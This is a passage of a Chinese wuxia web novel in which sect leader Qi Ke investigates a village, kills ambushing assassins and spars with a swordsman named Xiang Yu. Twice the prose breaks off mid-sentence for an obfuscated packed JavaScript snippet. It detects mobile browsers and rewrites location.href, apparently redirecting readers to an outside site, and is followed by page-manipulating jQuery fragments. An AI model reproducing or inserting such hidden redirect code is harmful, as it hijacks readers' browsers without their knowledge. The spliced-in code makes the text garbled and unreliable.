语毕,她这才直起身子,将笞条扔还给阿慈,转过身去,像是多看一眼面前的八个血人,都觉得厌恶。
“本宫主可以帮忙救你们的父母妻女,但一命抵一命,我救了他们,你们就得死,给你三秒,做个选择。”
那人的眼镜突然瞪大:“你真的能帮我们救下亲人吗?我愿意用我的命抵!我愿意用我的命抵!宫主!宫主!属下求您!”
“早知今日,何必当初!受人威胁之时你若及时告知本宫主,也不会是如今的局面!”齐珂蓦地转身,对着面前的男人疾言厉色:“一帮没脑子的废物!”
“宫主……”
一旁绑着的另一个血人不知何时悠悠转醒,犹豫许久,怯懦开口:“宫主,千错万错……都是我们的错……求宫主……救救我母亲吧……属下……属下……愿以命换。”
她恨铁不成钢地瞪了那人一眼:“告诉我,那帮鬼面人,来自何派?”
“属下……属下真的不知道!他们只拿着我妻儿的血衣逼我们做事,还有……还有我送给妻子的簪子……属下真的不知道他们到底是什么人……宫主……属下,句句属实啊!”
齐珂脑中灵光一闪,突然心下一沉,等等!银色鬼面,百毒神教,玄武坛?!
六十年前,魔教四大护法,青龙,朱雀,白虎,玄武,最后一战中,找到尸体,随着魔教一道覆灭的只有青龙和白虎,可朱雀和玄武两大护法的尸身却始终没有找到。
但祖母说过,当年,她是亲眼看着玄武死在自己面前的,而朱雀亦被第五杰谢成所杀,只不过十一年前云策山庄谢家遭灭门,她冲去营救却还是晚了一步,只救下了被藏在密道的谢明,她探查过尸体,对方用的功夫是魔教朱雀一支贯用的断云掌,掌立为刀,自颅顶劈下,尸体表面无伤痕,但五脏六腑却早已化成一摊血水,从七窍涌出了。
朱雀一支可能还在,如今又多了玄武,难道近来诸派灭门,真的是魔教所为?但事情闹到现在,朝廷为何迟迟不出手呢?
她的目光冷冷扫视刑架上的几人。
“本宫主记得,你们八人都是同乡?家住远容山下何处?”
“吴家庄,宫主,属下们都来自吴家庄……当年上山,亲眷们都还留在乡里。”最先醒着的男人急急说道。”
齐珂沉吟片刻,吩咐道:“阿慈,本宫主下山一趟,云清宫上下由你们四大护法镇守,告诉甘棠,不必让张伯送酒上山了,此次下山我亲自去取。还有,若阿明过来,就说本宫闭关,让他自行离开。”
“是!属下遵命!可宫主,我们接了冥王生死帖……”
“我已启动当年向前辈所设下的千机阵,若有人闯山,千机阵会立刻触发宫中警报,带着所有人转移到地宫,云清宫八十一道阵法,足够拖延到我回来。”
“那凌霄宫的人?”
“山下吴掌柜自会接待,让馨月别乱了分寸,接冥王生死帖的是我们,云清宫不灭,其余各宫便不会接到第二张帖子,这是百余年来发生死帖的规矩!”
“属下明白!”
“这里交给你们,人若救下,我会飞鸽传书回来,届时,把这群废物都给本宫杀了,看着碍眼!”
“是!属下定不负宫主所托,将他们千刀万剐!”说罢,阿慈冲着醒着的两人飞过去一记眼刀,那俩人皆被一震,下意识咽了口吐沫。
“还有,”齐珂也转头看向刑架上的几人:“你们最好别骗我,若是本宫主发现你们所言非实,我不杀你们,也有的是办法叫你们生不如死。”
撂下此话,她提脚大步离开,地牢的门砰的一声被关上,铁锁震荡,阿慈耳力极好,听到轻微的“啪嗒”一声,门后落下一只被压扁的月白色翘头履。
“宫主,您的鞋!”
3. 第3章
凤阳县是远容山脚下最大的县城,有着来自来自四面八方的各界人士,官人,商贾,侠客,乞丐茶楼,酒馆,当铺,作坊一应俱全,还有各大门派的鸽房据点也遍布全县……俗话说的好,天降一口大锅,砸中五人,五种身份,此处可谓是风搅长空浪搅风,鱼龙混杂一川中。
当然,凤阳县也是打探消息的好去处。
奉行习武之人,不必拘泥小节的原则,此番下山,齐珂随身行李相当简单。
三套款式相同,颜色各异的换洗衣裳,两本老母亲留下的《兵器锻造手记》,一块可在云清宫各鸽房通用无阻的金字令牌,一壶好酒,一条血月鞭。
她脱下身上繁杂累赘的宫主装,换上了一套与包袱中衣裳款式相同的朱红色紧袖劲装,散下发髻只梳了一个高高的马尾,又在马尾里取出一小撮头发,分成九缕,混着彩线编成三条细细的麻花辫,配上右耳单侧圆形挂着吊坠的耳环,不错,很美很飒!
至于打造兵器的工具——山下能买到,衣服若是穿破了——山下能买到更好看的,其余七七八八,零零碎碎的小物件,她云清宫宫主家财万贯,只要有银两,何惧行遍天下。
于是,她便带着这个单薄轻简的包袱,时隔整整十一年,再度下山,入江湖。
凤阳县
“姑娘姑娘,不是本地人吧,看着眼生啊,老朽看你福德宫发黑,恐有血光之灾,不如看看老朽这儿的符咒,买上几张带在身上,保你逢凶化吉,平安无虞啊。”
齐珂刚进城,还没走上几步,就被一个穿着灰布长衫,面上一缕花白的山羊胡,手拿写着“在世活佛”四字布帆的道士给拦住。
“我呸,你才有血光之灾呢!假道士,会不会看面相?!本姑娘天庭饱满,是有福之人,你别瞎说,你在这儿正好,老道士,你可知吴家庄在何处?”
“买符吗?买符老朽就告诉你。”那道士斜睨了她一眼,从随身携带的灰布袋子里掏出一沓皱巴巴的符咒。
“你先说,说了我便给你一锭银子,够买下你所有的符咒了。”
那道士一脸狐疑,上上下下打量齐珂,最终约是觉得她身上衣服面料做工皆为上乘,长得也不像是那坑蒙拐骗的主,这才凑到齐珂跟前,神神秘秘地开口道:
“吴家庄啊,出了北边城门往东走六十里地便是,只是奇怪,吴家庄最是出一流的绣娘,平日打吴家庄过来,往城北绣坊送针线活的漂亮小娘子,哎呦喂,那可是美若天仙,只是不知道这一个月是怎么了,换了个膀大腰圆的婆子过来送,据说绣样也大不如前,唉。”
说罢,他还很是惋惜地摇了摇头。
齐珂挑眉,心里对面前这个老头好一番鄙夷:还说不是假道士,好色之徒!
“小姑娘,我可告诉你吴家庄地址了,给钱!说好的一锭银子,一块角料都不许少!”
“嚷嚷什么!知道了,等着!”话落,齐珂瞪了一眼那个咋咋唬唬的老道士,手伸进怀里——
等等,钱袋!
她秉承着山下万物皆可买的原则收拾了这么一个扁平包袱,却忘记带钱袋!
如同雷轰电掣一般,齐珂呆住了。眼神闪躲,很是尴尬地从怀里伸出摸了一团空气的右手,讪笑着摸了摸鼻尖:
“那个,老人家,再往前有个福县,那儿有我的鸽房,我去取……”
齐珂话还没说完,只见那道士跨步上前,一把揪住她的衣服,朗声嚎了起来:“枉老朽看你一副名门正派的模样,原来是个小骗子,你别走,大伙给评评理!”
眼见周围闻声而来指指点点的行人愈发多了起来,齐珂轻咬后槽牙,大吼一声对不住了,向后一仰,那道士跟着一个踉跄,她趁此机会使巧劲翻转身子挣脱开去,身子轻轻一纵,飞身而上,自高低错落的屋顶间窜过,身形如风,一下子没了踪影。
想她堂堂云清宫宫主,堆金积玉,腰缠万贯,竟落得如此狼狈,倒似只过街老鼠。
“等去吴家庄救了人,本宫主定要给这凤阳县的人下场银票雨,挽回颜面!!
心中想着,脚步不停顿,她的轻功平步青云,很快便到了此行的目的地:吴家庄。
村子不大,站在村头就能一眼望到村子尽头的一座小山头,村中房舍多为低矮的砖木房,外墙粉刷着坑坑洼洼的白灰,屋檐绘有一些民族图样的装饰。
如今正是饭点,但村子里生火做饭的人家似乎并不多,倒是各家各户门口,三三两两聚着些穿着粗布衣裳的男人女人,摇着蒲扇,坐在藤条编制的小凳上纳凉。
一眼望去,大概四五十户人家。
说来也奇怪,按照那老道士的说法,吴家庄最是出好手艺的绣娘,如今的世道,在这些不发达的小村庄,男人养家糊口,女人相夫教子是常态,如若一个村子需要靠女人的手艺过活,那最有可能的情况便是,这村里的男人都外出务工务农,或是死了,留下一村子的老人妇女,做些手工活挣生计。
但是这吴家庄,在外头纳凉的男人们可不在少数,大多身形魁梧,赤膊留须。
齐珂压下心中异样的情绪,三两步走上前去,按照吴远(被打个半死的班主)的描述,一路寻到他家的屋子。
一处不大的小院,只一间屋子,外头用墙砌了处四五平的小院子,她撅着屁股趴在地上从院墙边的狗洞朝里看,院子里是个露天的小厨房,如今都落了厚厚一层灰。
院门落了锁,上头结了一张破破烂烂的蜘蛛网。
齐珂又探头往狗洞里够了够,院里杂草丛生,即使在初夏,都一片颓败之势。
这里头的人走了有些时候了,那……
“嗖!嗖!嗖——”
还未等她细想,利箭破空之声便从屁股后方急急袭来。
齐珂心下一凌,急忙抽身闪躲,顺势往左侧躺倒,就着力道一滚,右手摸上腰间的血月鞭,将将躲过深深扎进狗洞地下的三支箭矢。
对方未给她喘息机会,又有三只长箭破空而出,齐珂瞬间冷下神色,勾起唇角,眼中闪过杀意:“来吧!”
利箭迎面而来,她左脚点地,撤步闪身,脚下云步一旋,凌空翻身之际,暗凝内力,右脚对着箭身横扫而出,同时,翻手甩出血月,银蓝色的血月长鞭,带着暴戾之气,直直朝着院落左侧后方第二棵榆树席卷而去。
“呃!”随着一声未出口的惨叫,树干上埋伏的箭手“轰得一声”重重摔倒地,脖间一片血红,抽搐了两下便没了动静。
鞭子未收,又听得簌簌奔袭之声,各家门前纳凉的村民哪还有方才的祥和平静之色,此时各自揣着系着紫色布条的长刀,奔入战圈,瞧他们刀上所释放的刀意,居然都已过结气期。
“哼!血月,今日,便叫你喝个够!”
齐珂冷哼一声,提鞭就战,长鞭如电,她一跃而起,抡动右臂,朝着右后方四个持
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803054|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刀壮汉横扫而去,血月冷冷生辉,瞄准那四人的喉咙便是雷霆一击,四人脖颈动脉处顷刻血流如注。
她借着长鞭扫出去的力道,旋而转身,鞭又随身转,划出两道旋子,对着左侧冒进而来的两人狠狠一劈,只见那两个不怕死的举刀便挡,齐珂瞧准时机,急翻玉腕,长鞭向上勾起,直接盘上其中一人刀身,使力回抽,那人的刀便脱手,她再一旋身,缠着刀的血月朝着那人心脉而去,抖击力道之大,血月近乎绷直,刀在长鞭的驱使下狠狠刺进那人心脏,一招未满,一招又至,她腰身向右一扭,带着那人的尸体直接撩鞭,将另一人砸倒在地。
鞭法不停,环环相连,密不透风,一时间,竟无人能近身。
银蓝色的血月染上了一层鲜红的血色,尸体越来越多,可这些人像是不畏惧生死一般,竟全全没有退缩之意,从原先的近百人,如今战至只剩十余人,仍要过来取齐珂性命。
她心中暴怒,杀意更盛,对着正前方一舞着双刀的女人,直接扭身送肩,抡鞭盖顶,血月于头顶划出一道圆形的轨迹,随后直接劈向对方的天灵盖,刹时殷红飞溅。随后倏然沉腕一抖,收回血月,身形一晃,左脚点地,腾空而起,不退反进,右手持鞭柄,左手捏住鞭尾,翻身自他们头顶越过,长鞭勒住那三人脖子,落地后右腿后撤,扎下马步,对他们直接绞压。
那三人躲闪不及,手中长刀又无法割断寒玉制成的血月,只一个呼吸便窒息而亡。齐珂松开鞭尾,血月带着那三人的血肉划出一道血雾,她身法不停,直接一个大转身,长鞭在身前划出八字,对着杀过来的人左右斜劈,鞭势之猛,狠毒异常,顷刻之间,剩余的十数人便只剩面前一个十七八岁的少年。
那少年见同伴皆死,两眼血红,提着把大刀便朝她飞奔而来,她扭动右肩,手腕一抖,血月如龙,飞击而出,鞭尾甩至那少年身前之时,素腕上挑,血月缠住那少年的脖子,齐珂右脚带动身子一旋,同时右手将血月向高处甩出,长鞭绕过胳膊粗的树枝,一头缠着那少年,一头紧握的她的手中。
脚尖发力,踩着粗壮的树干三个踏步便跳到树枝之上,同时,少年一声闷哼,重重摔在地上,挣扎着想起身。
齐珂蹲在树枝上,低头瞧他,眼中满是轻蔑之色。
“小弟弟,姐姐我向来慈悲心肠,你若告诉我受何人指使对我动手,我便留你一条全尸。”
那少年不应,仍然死命挣扎,但他动得越是厉害,血月缠得越紧,齐珂微微收力,给他一线说话的机会,可谁知,那少年在获得喘息之时,反手握刀,用尽全身剩余的力气朝她掷了过来,她眸中闪过一丝阴鹜,拽着鞭柄跳下树枝,鞭子的另一头,那少年直接被血月吊起,只蹬了两下腿,便活活吊死在了树上。
“可惜了,一帮死士。”
齐珂随意翻了翻,除了这些人刀柄上绑着的紫布,其他什么线索都没有。
她愤愤踢了一脚跟前的尸体,抬头看天色,黄昏已至,只能先到最近的县城落脚,等明日再去探一探有无这“紫刀帮”的消息。
她飞掠出去,残阳如血,透过桃红色的云彩,将红霞映在村子尽头的山丘之上,把一座座墓碑上漆红色的字迹衬得阴鹜而诡异,村中血水顺着石坡淅沥而下,与天际相连,一片血红,天边仿佛燃起了一场大火,那火焰似一股妖气在盘旋,发出咝咝的怪叫,灼热的气浪排山倒海呼啸而来,鬼烂神焦,烟炎张天。
4. 第4章
“我去,这什么鬼东西?”
她身形轻盈无声,纵跃如飞,可刚拐过一片树林,迎面撞上来一个飞驰速度与她相当的大扑棱蛾子。
两人躲闪不及,砰得一声巨响,狠狠撞到一起。齐珂被一人压在身下,那人的白色发带带着冰凉的水汽,散发着一股清幽文雅的淡甜梅花香。
雪中春信?
——是个有钱人!
“你!”她猛地将趴在他身上哎哟哼唧着的人推开,还没开口,耳朵微动:二十人之多,拿着武器正朝这边过来!
齐珂眯起眼睛,血月未出手,就被人拽着手腕一把薅了起来,那人拽着她穿回树林一路狂奔,耳边传来风啸声,前面大扑棱蛾子的声音模糊在风声和脚踏落叶的吱呀声中,却意外地温润好听:
“冒犯之罪,过后定当赔礼,小娘子,先跑!”
他广袖飞舞,墨发及腰,白色发带一路噼啪打在齐珂脸上。
“你谁啊?”
“叹问尘世我最逍遥,在下逍遥子金葆,不知小娘子芳名?”
他笑意盈盈,仿佛不是在拉着一个素不相识的人逃命,而是少年意气风流,带着心爱的女子私奔。
“昭才!”
“好名字!”
二人急驰大半柱香才停,彼时已出了树林,眼前一汪半圆的湖泊,湖面涟漪荡起,波光粼粼,夕阳的余晖将整个湖面照耀得金光闪闪,仿佛一幅绚丽多彩的画卷。
金葆呼哧喘着气,没有松开齐珂的手,拉着她来到湖边,蹲下,就着昏黄的水镜,左右仔细检查自己的脸庞,齐珂饶有兴致地看他。
湖面倒映出来一张精雕玉琢的脸,浓眉大眼,一双桃花眼水波潋滟,格外风流,他的面部轮廓干净流畅,鼻侧一点朱砂,漂亮极了,当真是一个玲珑独艳俏郎君。
有钱,漂亮!很好!齐珂如狼似虎盯着他,咽了口口水。
“幸好幸好!我这张绝美脸庞若是伤了,该有多少小娘子伤心欲绝。”他终于检查完自己的“盛世容颜”,将滑落到胸前的一缕秀发撩至身后,起身,仍然握着齐珂的手,放到自己胸前,施施然一礼:
“情急之下多有冒犯,还望小娘子见谅。”
“无妨无妨~”齐珂一使力,金葆身娇体软一个踉跄被拽到她的跟前,她上手抬起他的下巴,眼神上下打量,唇角满意一勾:“方才那些人追你的?你做什么了?”
没有想到齐珂竟然这样主动,金葆显然有些意外,但很快伸手覆上她作乱的手,自然将手拂下来握在掌心,委屈道:
“误会误会,林子另一面还有一座月光湖,我方才在那儿舀水净手,瞧见湖边蹲着一个低头抹眼泪的浣衣娘子,我瞧不得小娘子落泪,便上前劝了两句。”
“哦~原来你是登徒子~”
“非也非也!”金葆娇俏跺脚,画面重现道,我走过去:“小娘子这样伤心,定是受了诸多委屈吧!”
他从怀里掏出一个树叶野花编成的花环,戴到齐珂头上:“在下逍遥子,解语花,可为娘子分忧解难。”
“然后呢?”齐珂从腰间的小袋里掏出一把瓜子,分了两枚给金葆。
“小娘子私事,不便外传,我看天色渐暗,索性送她回家,随后便被人追着打了,还好我跑得快,也因祸得福,结识了昭娘子你。”他把剥好的瓜子又重新递给齐珂,举止翩翩,虽倜傥风流,倒不见轻浮,有几分大家风范。
“还没问昭娘子,这是要往哪儿去?我耽搁了昭娘子赶路,心中有愧,今日是无论如何要送娘子一段了。”
“以天为被,以地为席,天色已晚,不去哪儿,今日就在这儿落脚了。”她大咧咧拍拍手上的瓜子壳,就地躺下,闭眼睡觉。
“荒郊野岭,岂是歇脚之地?”
‘江湖中人,不拘小节,公子走吧,不必管我!”
“将美人抛下,非我金葆所为。再往东十里就是衢县,走啦~小娘子~小仙女,我们过去可好?早秋夜间寒凉,小娘子若着了风寒,我会心疼的。”他蹲下身捏着她的袖子左右晃。
齐珂睁开眼:“我没钱,住不起客栈。”
“我有啊!今日我请昭娘子,他日娘子再请我,有来有往,才是相交之道。”
“真的?”齐珂猛地坐起来,金葆躲闪不及,额头相碰,他哎哟两声,又要揉着额头去水边照镜子,被齐珂揪着衣领拽回来:
“说定了!多谢公子!我们走!”
“我的额头~”他挣扎着还想再往河边去,身子却已经被齐珂揽着移出几张远。
“公子貌若潘安,郎艳独绝,美得很!”
-
衢县来福客栈
“小二,上两壶青稞酒,再要两碗杂碎汤,一盆炕锅羊肉并几块葱花馕饼,再上盘杏干来!”金葆美目在齐珂身上一转,又笑着添道:“再给我家小妹上碗牛奶鸡蛋醪糟。”
“甜的,你试试。”他冲她笑。
“客官行家啊,您二位等着,小的这就叫后厨备去。”
“你是本地人?”齐珂从桌上的干果盘子里捞了一把无花果干丢进嘴里。
“来了不过四五日,倒是把这儿吃的玩的门路摸清楚了。”他替她烫洗杯子。
“此处在西北,好吃的好玩的哪有南方多,往这里来做什么?”
“我自域外大漠而来,一路向南,途径远容山,亲见此地繁华,已是大饱眼福。”他又拿出帕子将筷子擦拭一遍放到齐珂跟前:“此次过来,是来寻人的,不知昭娘子可知道云清宫宫主齐珂?”
齐珂手一顿,面不改色道:“听过,武林第一美女,丰神绰约,沉鱼落雁,所见之人无不心醉。身手独绝,平步江湖,难逢敌手,这样一位容貌倾城,功夫无双的奇女子,怎会没有听过。你笑什么?”
“先前听得齐宫主美名,心向往之,可今日得见昭娘子你,突然觉得,那位齐宫主不见也罢,昭娘子语笑嫣然,眉目如画,如九天仙女,容貌气度超世绝伦,又有轻功飘然,踏雪无痕,想必武功境界定然高深莫测,得见女子如此,我已然此生无憾了。”
“所以,”齐珂努力压下嘴角:“你原本找齐珂做什么?”
“喝酒,睡觉!”金葆说得理直气壮,正气凛然,引得一旁的客人侧目。
“噗!”齐珂一口水喷出来:“喝酒,睡觉?”
“醉卧美人榻,天经地义!”他抖开帕子,握住齐珂的手腕,替她擦拭手上溅到的茶水,却见面前的女子嘴角疯狂上扬,但她好像有意压制着,嘴角抽搐,眼底喜色愈显。
“你说得有理!”齐珂摸上他的手,感觉金葆那双细腻柔嫩但微凉的手轻轻一颤。
就在此时,门外走进两个手持水火棍,面上蓄须,身长七尺有余的壮汉,边说着边在客栈的另一边找了一处方桌坐下。
“吴家庄也忒惨了,一把大火,直接被烧个精光,听说,那里没一具全尸,都烧成炭了。”
“出手之人心狠手辣,雕心雁爪,这种人存于江湖,绝对是祸害!”
“你说,会不会是魔教?这几日来咱们远容山投奔云清宫的人众多,齐宫主不发话,没一个人能上山,全聚在周边县城乡落里,难保里面没有接到冥王生死帖的,魔教追到咱们这儿杀人?”
“你是说,吴家庄里有人接到帖子?都是群只会做绣样的老弱妇孺,杀她们做什么?”
大火?!!
齐珂心中一凛,面上应付着在和她滔滔不绝讲远容山哪家馆子最好吃,哪家瓦舍最好玩的金葆,凝神侧耳倾听不远处的谈话。
邻桌的三个道士打扮,臂搭拂尘的年轻道长接过话茬:
“两位善人所言可实?”
“岂会有假?方才我们来的路上,碰见从凤阳县赶过来的北绣坊二掌柜,已得了消息,嚎丧着去了,哦,他同吴家庄送绣品的绣娘定了亲。“怕几个道长不清楚,他解释道:
“官府也举了火去调查,若还是追不到纵火的歹人,不消些时辰,指不定得封了临近的几个县城搜人。”
“那便正好!咱哥俩出力擒了那歹人去,也算为官府出力,为江湖除害。”
“可万一动手的是魔教?”
“贪生怕死,岂能做吾辈英豪!”
“王兄说得对!是我怯懦了!便听王兄的,等干了这两碗酒,我们一道过去!”那两个拿棍的壮汉越说越起劲,言语间颇为义愤填膺,慷慨激昂。”
“万物皆有命,天道自有定数。”
“若云师兄,我总觉其中有异样,一会儿,我们也一道去瞧瞧罢。”
“也好,苍浩,青南,我们快些吃。”
…………
“昭娘子?美人?小仙女?”金葆在他眼前晃手:“怎么了?”
“没什么。”齐珂回神,笑道:“没什么,只是……算了算时辰。”
“?”金葆疑惑。
“两位客官,您的菜来喽!还有上好的青稞酒,二位慢用。”
小二一张灿烂到谄媚的笑脸打断了两人的对话,齐珂换上一幅吊儿郎当的模样。
“先吃饭!吃饱了再去寻思别的事情!”她给自己倒上一杯酒,举杯道:“今日,多谢金公子盛邀,公子破费!”
“请美人吃饭,乃金某之幸!”金葆碰杯,还没有仰头喝下,面前的女人已经“咂”了一声:“好酒!”
金葆笑笑,上手拿起一块葱花馕饼,卷上满满一汤勺炕锅羊肉,卷成卷,递到齐珂跟前,煞有介事道:
“昭娘子,尝尝原汁原味的羊肉饼,只一口,保证你快活似神仙。”
齐珂闻言伸手想接过卷饼,金葆从怀中掏出又一张蓝色四方帕子:“等等~”
他把饼放下,抓着齐珂的手仔仔细细地擦拭,又帮她卷起差点儿沾上汤汁的衣袖。
“这是箭袖,你卷不上去的。”齐珂被他拽疼,啧了一声,却还是等着金葆帮她擦完手,又给自己卷了一个内馅饱满,汤汁浓郁的羊肉卷饼,一把怼进嘴里,一口便咬下去大半。
“好吃吧~。”金葆倒了一杯青稞酒递到她身前。
齐珂“呜呜”点头,眼神复又落在他的身上,多添了几番打量的意味:
肤若凝脂,衣领上露出的脖颈修长,泛着若有似无的淡粉色,喉结突出,在白皙光滑的颈部竟有一丝勾人的意味。
他的双眸似水,明艳动人,这上眼睛,实在是生动漂亮,鼻梁高挺,鼻翼右侧一点朱砂,薄唇微扬,带着淡如轻雾的笑意。脸部每一处线条看似温和却又透出一股泠冽的寒意,通身的气质——不张口是温文尔雅却不食人间烟火的孤傲青山。
张口……
“昭娘子,小生自知貌比潘安,岩岩若孤松之独立,巍峨若玉山之将崩,可光天化日,大庭广众,小娘子眼神这般如饥似渴,旁人会误会的。”
“嗯~”齐珂眼神自上而下扫过他腰间的浅粉色系带,系带的扣子是一块碧绿色的岫玉,她眼神闪了闪,笑着点头凑上前:“误会什么?”
“误会你我。”他笑得娇羞:“两情相悦,恩爱缱绻。”
“说得对~”齐珂点头:“要不,你别去找齐珂喝酒睡觉了,找我吧,今时共饮青稞酒。”
她压低声音,说不出的魅惑:“月下翡翠合欢笼,如何?”
金葆眸色一闪,却仍笑道:“美人相邀,求之不得。”
“那吃完,我们就上楼睡觉!”
“在下也正有此意。”
齐珂笑笑,转头:“小二,前头带路!”
她瞥了一眼一旁目瞪口呆的小二,秀眉一拧,语气中已带有一丝不耐。
“两位……这边请。”小二咽了口唾沫,远容山何时已经开放到这种程度?进门时称兄妹,一顿饭就能上/床了?
金葆眼底凛凛发笑,似有流光拂过,转头看向小二,笑得风流:
“劳烦前头带路。”
-
“吱呀——”
客房门关上的一刹那,一把扇着寒光的短柄匕首便以迅雷不及掩耳之势架到了金葆的脖子上。
齐珂一手握住匕首,一手擒住男人的右臂,直接把人推到桌上,压在身下。
匕首映着倾泻而来的月光,将清冷幽光照在她的脸上,森然而阴鹜。
“说,你到底是什么人?胆敢一字有假,我就杀了你。”
纵使白皙的脖颈已被削铁如泥的短刀压出一条明显的血痕。金葆仍是一幅云淡风轻的样子,甚至还有几分陶醉,如西子捧心,他轻叹一声委屈道:
“美人好狠的心,才吃了一顿饭便翻脸不认人了?不过~谁让昭娘子仙姿玉貌,牡丹花下死,做鬼也风流,来吧,若这也是你玩乐的一环,我虽身娇体软,却也承受得住!”
说罢,居然闭上眼,半点不打算反抗。
齐珂冷哼一声,刀刃又向着他的脖子压近了几分,鲜红的血珠顺着他修长的脖子流进衣衫里。
“我再给你最后一次机会,回答我的问题,你是谁?”
“金葆,与昭娘子的名字极配。”
“是吗?”齐珂眼里的阴鹜愈甚,她嗤笑一声:“吴家庄的火是你放的?”
“美人在说什么?我听不懂。”
“不承认也罢。”她掐住金葆的脖子,刀从她的脖颈慢慢往下滑,滑至那枚岫玉制成的系扣:“束腰刀,藏得挺深啊。”
“不过是当年在域外偶然遇到的扣子,昭娘子若是喜欢,送给娘子便是。哎呀~哎呀呀~美人儿,有话好说,别动脸!别动脸!……哎~”
匕首冰凉的刀背贴到他的脸上,金葆紧张到整张俏脸皱在一起,闭着眼瑟瑟发抖,耳边传来齐珂阴沉沉的声音:“你的轻功,脚下步伐,与掣风刀法第四式风举云飞步伐相和,说!你从哪儿偷学来的向家功法,你今日若敢有半句虚言,这张漂亮的脸蛋,可就要花了。”
刀背转为刀尖,齐珂倾身压下,桌上一直闭目的男人猛地睁开眼睛。
他眼中精光一闪,左手注力,迅速握住齐珂持刀的右手,拇指与中指内扣捏住她的手腕,迫使短刀离手,同时膝盖上顶,竟直接冲着她的上腹袭来。
齐珂心中一惊,身上动作不停,直接松开牵制着他右臂的左手,在桌上借力一撑,随即腾空翻身而起躲开他击来的膝盖,长腿一伸,勾起身侧的矮凳,抬腿横扫,犹如重鞭猛击,将那矮凳直冲他面门踢去。
“昭娘子武功盖世~”金葆轻笑,身形翩飞。
随手捞起掉落在桌上的短刃,在身前两个劈斩,就将凳子划为废木。身影如电,只一个跨步就闪到齐珂身前,持刀就刺。
齐珂迅速反应,右手抡起手刀,向上劈向他的手臂,侧头躲开锋利的刀刃,左手手腕一翻,擒住他握刀的手腕,凝聚内力使劲一拧,将他连手腕带刀直直转了一个方向,刀尖冲着他的心口。
她右腿撤步,稳住身形,用尽全力扯着他的手往他自个儿身上刺去,金葆嘴角突然勾起一抹笑意,在刀尖即将触身之时,身体向后一仰,一脚踢向她的小腿,右手直接从上方覆住她的双手,以同样的招式,又将短刃翻了过来。
齐珂撤步一晃,躲过他横扫而来的长腿,抽身闪躲。
金葆的进攻未曾停歇,那利刃闪着森森冷焰,划破
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803055|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空气而来,但闻簌簌之声。
“停!!!!!”
齐珂脚下云步一旋,翻身而上,落在门边的盆景架上,抱起一株红胡椒挡在胸前。
金葆掸掸未沾染一丝尘埃的衣袖,笑道:
“昭娘子不打了?”
“高手过招,点到为止。不打了。”
“识时务者为俊杰。”他笑着点头。
“我呸,我告诉你,我并非怕你,你我武功不相上下,若真拼尽全力一战,你我只会是两败俱伤的局面,我杀不了你,你也杀不了我,不如就此休战。”
“昭娘子说什么呢?怜香惜玉乃向某毕生原则,对小美人,我向来心软,放在心尖尖上疼爱还来不及,又怎会与你拼个两败俱伤?”
“我信你个鬼。”齐珂啐了一口:“等等,向某?”
她仍然抱着那盆辣椒,唇边却勾起了一抹嘲讽:“你还真会顺着杆子往上爬,我说你武功身法似向家秘学,你就真当自己是向家人了?”
“重新认识一下。”他两袖清风,举止翩翩,偏手上还握着把利刃:“在下向玉,‘双双鸣玉珂’的玉,也是‘因风想玉珂’,昭娘子,哦不,齐娘子,瞧瞧,你我换上本名,依旧绝配,哎呀~看来,此乃缘分使然,叫你我相遇,你我天定良缘……”
“闭嘴!早知道我的身份了?”
“不然,何须替你放那一把火,掩掉武学派别,珂珂~你也不想更多人知道你下山了吧?我是不是很贴心?”
“别恶心!”齐珂抖掉一身鸡皮疙瘩:“你把刀收起来还我,我要下来,你拿着把刀矗那儿,我不放心。”
“刀不错。”
“废话,我打的!”
见他将短刀丢在一旁,齐珂从盆景架上跳下来,走到桌边,捞起一张还没被打烂的矮凳,叉开双腿坐下,自顾自地给自己倒了一杯清茶。
向玉见此,在她对面落座,他轻提衣摆,款款而坐,待坐定,又施施然理了理粉红色及地腰带。
齐珂翻了个白眼,开口道:
“你骗的了别人骗不了我,当年八杰之首向茗然老前辈使得可是鸿鸣刀,相传乃黄帝采首山之铜而筑,当年雄雌各一把,铸之雄已飞去,雌者犹存,便是鸿鸣。向家虽早几年便同我们没了联系,但据我所知,向家历代家主使的都是鸿鸣。”
她瞥了一眼他的细腰,系扣玉色通透,环腰一圈腰带下那股强劲的刀意终于不再被刻意隐藏:“你这把刀也是世所罕见,但刀虽好,非鸿鸣。”
向玉对她竖起拇指:“珂珂好眼光!这把刀叫无名。”
“啪嗒”一声扣响,一抹银光乍现,齐珂不自觉眯起眼睛,待再睁开,桌上俨然放了一柄长刀。
刀长三尺,通体天青色,上覆以碧绿色的岫玉打造而成的云鹤纹透雕,暖黄的烛光透过,那云鹤雕纹晶莹通透,仿佛一泓碧水。最让她震惊的是,那柄长刀的刀泽逼人,刀意之强劲,让她不觉心头一颤。
向玉以为面前这位武器锻造大师会发表出什么富有建设性的评论,谁知,她眼睛直勾勾看向他的腰间。
“珂珂?”
“嘘!”她食指抵唇:“我在量。”
“量什么?”
“你腰可真细啊,三尺的刀,竟绕你的腰一圈半!”
“一枝杨柳斗纤腰,不值一提!”他撩开外袍,露出纤细的腰肢,隔着两层衣衫,也足见极好的身材:“珂珂,我不仅腰细,我还肩宽腿长的,我~疼!咳!咳咳!”
